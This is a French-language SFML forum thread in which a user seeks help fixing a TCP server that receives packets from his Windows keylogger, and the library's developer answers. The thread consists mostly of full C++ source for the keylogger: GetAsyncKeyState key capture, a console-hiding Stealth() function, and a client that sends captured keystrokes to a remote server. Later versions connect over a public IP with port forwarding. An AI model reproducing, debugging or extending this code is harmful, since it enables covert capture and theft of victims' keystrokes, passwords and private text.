Bienvenue, Invité. Merci de vous connecter ou de vous inscrire.
Avez-vous perdu votre e-mail d'activation ?

Auteur Sujet: Probleme serveur reception paquet  (Lu 2970 fois)

0 Membres et 1 Invité sur ce sujet

johndoe

  • Newbie
  • *
  • Messages: 9
    • Voir le profil
Probleme serveur reception paquet
« le: Mai 30, 2017, 02:43:59 pm »
Bonjour,

J'ai un problème concernant mon serveur qui ne veut pas receptionner plusieurs paquet TCP.
En effet, j'ai deux programmes que j'ai testé en local. L'un fait office de serveur et l'autre de client.

Le client : C'est un keylogger qui envoie les touches tapés au clavier au serveur (pour les test j'ai limité la taille avec l'envoie de paquet tous les 10 octets tapé au clavier, donc chaque fois que l'utilisateur tape 10 touches de son claviers ou souris.

Le serveur : Il receptionne les paquets du client et l'enregistre dans un fichier.

Lorsque je lance le serveur puis le client, il n'ya aucun probleme pour le premier paquet : le serveur réussit a le réceptionner et l'enregistrer dans un fichier. Seulement après une premiere itération réussit, les prochaines ne veulent pas receptionner les prochains paquets envoyés.
J'ai essayé le debogger sur visual studio 2015 et apres une nouvelle itération le serveur reste bloqué sur la ligne suivante :
if (listener.accept(*socket) == sf::Socket::Done) { // en attente d'une connexion d'un client



Je n'ai aucune idée du pourquoi il ne peut pas continuer. Je vous balance le code, je vous préviens c'est chiant à lire car je n'ai pas utilisé la programmation modulaire mais j'espère que vous vous focaliserez sur la partie serveur car le client à l'air de bien fonctionner.

Le code côté serveur :
#include <SFML/Graphics.hpp>
#include <SFML\Network.hpp>
#include <stdio.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>


using namespace std;



int main() {
        ofstream file("keylogger.txt", ios::app); // fichier pour ecrire ce qui a été enregistrer par le keylogger
        sf::IpAddress ip = sf::IpAddress::getLocalAddress(); // mon adresse LAN
        sf::TcpListener listener; // server en ecoute
        bool server = false;
        unsigned short port; // le port
        do {
                cout << " Quelle port voulez vous utiliser avec l'etat <En ecoute> ?" << endl;
                cin >> port;
                if (listener.listen(port) != sf::Socket::Done)
                {
                        cerr << "Probleme de connection sur le port " << port << " ." << endl;
                }
                else {
                        cout << "Le serveur est en ecoute sur le port " << port << "." << endl;
                        server = true;
                }
        } while (!server == true); // il faut choisir un port ouvert pour le serveur
        while (server) {
                string ligne; // recupere le contenu des paquets
                sf::TcpSocket *socket = new sf::TcpSocket;
                if (listener.accept(*socket) == sf::Socket::Done) { // en attente d'une connexion d'un client
                        cout << " Nouveau client avec pour adresse ip : " << socket->getRemoteAddress() << endl;
                        sf::Packet packetreceive;
                        if (socket->receive(packetreceive) == sf::Socket::Done) { // si on recoit un paquet d'un client
                                if (packetreceive >> ligne) {
                                        cout << "Reception du paquet..." << endl;
                                        cout << "Contenu du paquet : " << endl;
                                        cout << ligne << endl;
                                }
                                delete socket;

                                if (file) { //ecrit dans le fichier pour sauvegarder
                                        file << ligne;
                                }
                                file.close(); // ferme fichier
                        }
                }
        }
        return 0;
}



le code côté client :
#include <fstream>
#include <Windows.h>
#include <iostream>
#include <stdlib.h>
#include <SFML\Network.hpp>

using namespace std;



size_t sizeFile() {
        size_t size;
        ifstream file("keyloggerWriting.txt");
        if (file) {
                file.seekg(0, std::ios_base::end);
                size = file.tellg();
                return size;
        }
        else {
                cerr << "Probleme d'ouverture du fichier dans la fonction sizeFile" << endl;
        }
}


void lecture_fichier(string &ligne) {
        ifstream file("keyloggerWriting.txt");
        string contenu;
        if (file) {
                while (getline(file,contenu)) {
                        ligne += contenu;
                }
                file.close();
        }
        else {
                cerr << "Problème d'ouverture du fichier dans la fonction lecture_fichier" << endl;
        }
}

void creer_fichier() {
        ofstream file("keyloggerWriting.txt");
       
        if (file) {
                cout << "Nouveau fichier créer" << endl;
        }
        else {
                cerr << "Probleme de creation de fichier dans la fonction creer_fichier" << endl;
        }
}

void ecrase_fichier() {
        if (remove("keyloggerWriting.txt") == 0) {
        cout << "fichier effacer" << endl;
        creer_fichier();
        }
        else
                cout << "Fichier introuvable car pas creer dans fonction ecrase_fichier" << endl;
}


void clean_buff()
{
        int c;
        do {
                c = getchar();
        } while (c != '\n' && c != EOF);
}

void writeData(char text) {
        ofstream file("keyloggerWriting.txt",ios::app);
        if (file) {
                file << text;
                file.close();
        }
        else {
                cerr << "erreur lors de l'ouverture dans la fonction writeData" << endl;
        }

}


void Stealth() {
        HWND window;
        AllocConsole();
        window = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(window, 0);
}



int main() {
        ofstream file("keyloggerWriting.txt");
        if (file) {
                cout << "creation du fichier keyloggerWriting.txt" << endl;
                file.close();
        }
        sf::Socket::Status statut;
        int port;
        cout << "Quel port utilisez vous ?" << endl;
        cin >> port;                         //
        char i;       // permet de lire touche clavier
        bool client = false; // boucle
        sf::TcpSocket *socket = new sf::TcpSocket(); // creation socket
        sf::IpAddress ip = sf::IpAddress::getLocalAddress(); // adresse LAN
        cout << "Mon adresse local est : " << ip << endl;
        statut = socket->connect(ip, port);  
        if (statut != sf::Socket::Done) {
                cerr << "Probleme connexion socket sur le port " << port << " ." << endl;
        }
        else {
                client = true;
                cout << " Vous pouvez taper des touches aux claviers pour que le keylogger enregistre et envoie au serveur" << endl;
                //Stealth();     Cette fonction permet de cacher l'écran standard
        }
        while (client) {
                for (i = 8; i <= 255; i++) { // regarde toutes les touches du claviers
                        if (GetAsyncKeyState(i) == -32767) {
                                writeData(i); // ecrit dans le fichier keylogger la touche enregistré
                        }
                        if (sizeFile() == 10) {  // ce if permet d'envoyer un paquet tous les 10 caracteres tapé au clavier
                                string ligne = "";
                                sf::Packet *packetsend = new sf::Packet;
                                lecture_fichier(ligne);  // recupere les lignes du fichiers
                                cout << "Taille du fichier : " << sizeFile() << " octets." << endl;
                                cout << " Tentative d'envoie du contenu suivant : " << ligne << endl;
                                *packetsend << ligne;
                                if (socket->send(*packetsend) != sf::Socket::Done) {
                                        cout << " Impossible d'envoyer le contenu." << endl;
                                }
                                ecrase_fichier();
                        }
                       
                }

        }
        return 0;
}
 

« Modifié: Mai 30, 2017, 02:47:41 pm par johndoe »

Laurent

  • Administrator
  • Hero Member
  • *****
  • Messages: 32504
    • Voir le profil
    • SFML's website
    • E-mail
Re: Probleme serveur reception paquet
« Réponse #1 le: Mai 30, 2017, 03:10:03 pm »
listener.accept attend une nouvelle connexion, or tu n'as qu'un seul client qui utilise toujours la même connexion, non ? Donc le serveur ne reçoit jamais de seconde connexion et reste bloqué.
Laurent Gomila - SFML developer

johndoe

  • Newbie
  • *
  • Messages: 9
    • Voir le profil
Re: Probleme serveur reception paquet
« Réponse #2 le: Mai 30, 2017, 04:09:14 pm »
Ah oui très juste, cependant j'ai rajouter un else ce qui donne le code suivant :
 
while (server) {
                string ligne;
                sf::TcpSocket *socket = new sf::TcpSocket;
                if (listener.accept(*socket) == sf::Socket::Done) { // en attente d'une connexion d'un client
                        cout << " Nouveau client avec pour adresse ip : " << socket->getRemoteAddress() << endl;
                        sf::Packet packetreceive;
                        if (socket->receive(packetreceive) == sf::Socket::Done) { // si on recoit un paquet d'un client
                                if (packetreceive >> ligne) {
                                        cout << "Reception du paquet..." << endl;
                                        cout << "Contenu du paquet : " << endl;
                                        cout << ligne << endl;
                                }
                                delete socket;

                                if (file) { //ecrit dans le fichier pour sauvegarder
                                        file << ligne;
                                }
                                file.close(); // ferme fichier
                        }
                }
                else {
                                sf::Packet packet;
                                if ((socket->receive(packet) == sf::Socket::Done)) {
                                        if (packet >> ligne) {
                                                cout << "Reception du paquet..." << endl;
                                                cout << "Contenu du paquet : " << endl;
                                                cout << ligne << endl;
                                        }
                                        delete socket;

                                        if (file) { //ecrit dans le fichier pour sauvegarder
                                                file << ligne;
                                        }
                                        file.close(); // ferme fichier

                                }
                        }



                }
 

Le code marche pas car selon la doc smlf : La fonction accept bloque jusqu'à ce qu'une connexion arrive (à moins que la socket ne soit passée en mode non-bloquant). Lorsque cela arrive, la fonction initialise la socket qu'elle a reçu en paramètre puis rend la main ; cette socket peut désormais être utilisée pour communiquer avec le client, et l'écouteur peut recommencer à attendre une nouvelle connexion.

J'avoue ne pas avoir bien compris de quelle socket la doc parle, mais j'ai donc essayé avec en les mettant en mode non-bloquante mais rien n'y fait.

Comment faire pour que le serveur reste dans une communication si il n'y'a pas le moindre nouveau client qui tente une nouvelle connexion ?

Laurent

  • Administrator
  • Hero Member
  • *****
  • Messages: 32504
    • Voir le profil
    • SFML's website
    • E-mail
Re: Probleme serveur reception paquet
« Réponse #3 le: Mai 30, 2017, 04:22:14 pm »
Si le listener est en mode non-bloquant, il ne devrait pas bloquer sur un appel à accept. Au pire tu as deux autres options : sf::SocketSelector, ou les threads.
Laurent Gomila - SFML developer

johndoe

  • Newbie
  • *
  • Messages: 9
    • Voir le profil
Re: Probleme serveur reception paquet
« Réponse #4 le: Mai 31, 2017, 03:31:32 pm »
J'ai tester avec le selector et ca marche parfaitement, je conseille à tout le monde de construire le serveur directement à partir des selectors.


Merci bien.

johndoe

  • Newbie
  • *
  • Messages: 9
    • Voir le profil
Re: Probleme serveur reception paquet
« Réponse #5 le: Juin 02, 2017, 02:04:08 pm »
Je reviens poster ici car mes deux programmes arrivent à communiquer lorsque je lance les deux sur ma machine (donc en lan) mais j'aimerai maintenant que cela marche avec les ip publics.

Cependant ca ne marche pas et j'aimerai beaucoup avoir des informations supplémentaires à ce sujet.
J'ai configurer les regles NAT/PAT de ma livebox : sur le port 2000 protocole TCP avec une redirection sur mon pc.
Je me suis mis en ip statique.

Or cela ne marche toujours pas. Y'a t-il des choses que j'ai oublié ?

Je vous renvoie mon code :

client (le keylogger) :
#include <fstream>
#include <Windows.h>
#include <iostream>
#include <stdlib.h>
#include <SFML\Network.hpp>

using namespace std;



size_t sizeFile() {
        size_t size;
        ifstream file("keyloggerWriting.txt");
        if (file) {
                file.seekg(0, std::ios_base::end);
                size = file.tellg();
                return size;
        }
        else {
                cerr << "Probleme d'ouverture du fichier dans la fonction sizeFile" << endl;
        }
}


void lecture_fichier(string &ligne) {
        ifstream file("keyloggerWriting.txt");
        string contenu;
        if (file) {
                while (getline(file,contenu)) {
                        ligne += contenu;
                }
                file.close();
        }
        else {
                cerr << "Problème d'ouverture du fichier dans la fonction lecture_fichier" << endl;
        }
}

void creer_fichier() {
        ofstream file("keyloggerWriting.txt");
       
        if (file) {
                cout << "Nouveau fichier creer" << endl;
        }
        else {
                cerr << "Probleme de creation de fichier dans la fonction creer_fichier" << endl;
        }
}

void ecrase_fichier() {
        if (remove("keyloggerWriting.txt") == 0) {
        cout << "Ancien fichier ecraser." << endl;
        creer_fichier();
        }
        else
                cout << "Fichier introuvable car pas creer dans fonction ecrase_fichier" << endl;
}


void clean_buff()
{
        int c;
        do {
                c = getchar();
        } while (c != '\n' && c != EOF);
}

void writeData(char text) {
        ofstream file("keyloggerWriting.txt",ios::app);
        if (file) {
                file << text;
                file.close();
        }
        else {
                cerr << "erreur lors de l'ouverture dans la fonction writeData" << endl;
        }

}


void Stealth() {
        HWND window;
        AllocConsole();
        window = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(window, 0);
}



int main() {
        sf::IpAddress ip = sf::IpAddress::getLocalAddress(); // adresse LAN
        sf::IpAddress ipp = sf::IpAddress::getPublicAddress(); // mon adresse public
        ofstream file("keyloggerWriting.txt");
        if (file) {
                cout << "creation du fichier keyloggerWriting.txt" << endl;
                file.close();
        }
        sf::Socket::Status statut;
        int port;
        cout << "Quel port utilisez vous ?" << endl;
        cin >> port;                         //
        char i;       // permet de lire touche clavier
        bool client = false; // boucle
        sf::TcpSocket *socket = new sf::TcpSocket(); // creation socket
        statut = socket->connect(ipp, port);  
        if (statut != sf::Socket::Done) {
                cerr << "Probleme connexion socket sur le port " << port << " ." << endl;
        }
        else {
                client = true;
                cout << "Connecter sur l'adresse : " << ipp << "." << endl;
                cout << "Vous pouvez taper des touches aux claviers pour que le keylogger enregistre et envoie au serveur" << endl;
                //Stealth();     //Cette fonction permet de cacher l'écran standard
        }
        while (client) {
                for (i = 8; i <= 255; i++) { // regarde toutes les touches du claviers
                        if (GetAsyncKeyState(i) == -32767) {
                                cout << i;
                                writeData(i); // ecrit dans le fichier keylogger la touche enregistré
                        }
                        if (sizeFile() == 11) {  // ce if permet d'envoyer un paquet tous les 10 caracteres tapé au clavier
                                string ligne = "";
                                sf::Packet *packetsend = new sf::Packet;
                                cout << endl;
                                lecture_fichier(ligne);  // recupere les lignes du fichiers
                                cout << "Taille du fichier : " << sizeFile() << " octets." << endl << endl;
                                cout << " Tentative d'envoie du contenu suivant : " << ligne << endl << endl;
                                *packetsend << ligne;
                                if (socket->send(*packetsend) != sf::Socket::Done) {
                                        cout << " Impossible d'envoyer le contenu." << endl;
                                }
                                ecrase_fichier();
                        }
                       
                }

        }
        return 0;
}

 


server:
#include <SFML/Graphics.hpp>
#include <SFML\Network.hpp>
#include <stdio.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>


using namespace std;



int main() {
        ofstream file("keylogger.txt", ios::app); // fichier pour ecrire ce qui a été enregistrer par le keylogger
        sf::IpAddress ip = sf::IpAddress::getLocalAddress(); // mon adresse LAN
        sf::TcpListener listener; // server en ecoute
        listener.setBlocking(false);
        sf::SocketSelector selector;
        std::vector <sf::TcpSocket*> clients;
        bool server = false;
        unsigned short port; // le port
        do {
                cout << " Quelle port voulez vous utiliser avec l'etat <En ecoute> ?" << endl;
                cin >> port;
                if (listener.listen(port) != sf::Socket::Done)
                {
                        cerr << "Probleme de connection sur le port " << port << " ." << endl;
                }
                else {
                        cout << "Le serveur est en ecoute sur le port " << port << "." << endl;
                        selector.add(listener);
                        server = true;
                }
        } while (!server == true); // il faut choisir un port ouvert pour le serveur
        while (server) {
                if (selector.wait()) {
                        if (selector.isReady(listener)) {
                                sf::TcpSocket *socket = new sf::TcpSocket;
                                if (listener.accept(*socket) == sf::Socket::Done) { // en attente d'une connexion d'un client
                                        cout << " Nouveau client avec pour adresse ip : " << socket->getRemoteAddress() << endl;
                                        clients.push_back(socket);
                                        selector.add(*socket);
                                }
                        }
                        else {
                                for (std::vector <sf::TcpSocket*> ::iterator it = clients.begin(); it != clients.end(); ++it) {
                                        sf::TcpSocket& client = **it;
                                        if (selector.isReady(client)) {
                                                string ligne;
                                                sf::Packet packetreceive;
                                                if (client.receive(packetreceive) == sf::Socket::Done) { // si on recoit un paquet d'un client
                                                        if (packetreceive >> ligne) {
                                                                cout << "Reception du paquet..." << endl;
                                                                cout << "Contenu du paquet : " << endl;
                                                                cout << ligne << endl;
                                                                if (file) { //ecrit dans le fichier pour sauvegarder
                                                                        file << ligne;
                                                                        cout << "Contenu enregistrer" << endl << endl;
                                                                        cout << "***************************************" << endl << endl;
                                                                }
                                                                file.close(); // ferme fichier
                                                        }
                                                }
                                        }
                                }

                        }
                }
        }
}


 


Je précise que si vous voulez verifiez que le lan marche, il faut changer la ligne du coté client :

statut = socket->connect(ipp, port);  avec ip plutot que ipp en argument.

Il va de soi que j'utilise le port 2000 vu mes modifs du routeur précisé plus haut.

Laurent

  • Administrator
  • Hero Member
  • *****
  • Messages: 32504
    • Voir le profil
    • SFML's website
    • E-mail
Re: Probleme serveur reception paquet
« Réponse #6 le: Juin 02, 2017, 02:37:38 pm »
Si ça marche en local alors ça ne vient pas du code, c'est ta config de routeur et pare-feu.
Laurent Gomila - SFML developer

 

anything